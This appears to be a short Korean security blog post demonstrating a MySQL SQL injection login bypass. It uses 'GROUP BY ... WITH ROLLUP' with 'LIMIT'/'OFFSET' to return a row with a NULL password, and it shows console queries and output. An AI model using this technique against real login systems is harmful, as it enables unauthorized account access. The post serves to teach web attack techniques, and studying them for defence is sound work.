mysql> select * from member  group by 2 with rollup;

+-------+------+

| id    | pw   |

+-------+------+

| admin | 1234 |

| admin | NULL |

+-------+------+

2 rows in set (0.00 sec)



mysql> select * from user group by 2 with rollup limit 1,2;

+-------+----------+

| id    | password |

+-------+----------+

| admin | NULL     |

+-------+----------+

1 row in set (0.00 sec)


이렇게 되면 ()를 쓰는 함수를 쓰지 안아도 우회가 가능하다. 

아이디만 맞으면 로그인이 가능하다. 

rollup함수는 그룹 조건에 따라 컬럼을 그룹화하고 그 데이터의 총합을 구해주는 함수다. 하지만 문자열의 총합을 구하게 되면 

NULL값을 반환하기 때문에 SQL Injection에 악용될수 있다. 



보통 로그인에는 limtit 1이 사용된다. 그렇기 때문에 뒤에 offset 1 을 쓰면 하나는 생략하고 출력한다는 의미다.

이렇게 해도 로그인 우회가 가능하다. 


mysql> select * from user group by 2 with rollup limit 1 offset 1;

+-------+----------+

| id    | password |

+-------+----------+

| admin | NULL     |

+-------+----------+

1 row in set (0.00 sec)


mysql>



'Web Hacking' 카테고리의 다른 글

Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24

+ Recent posts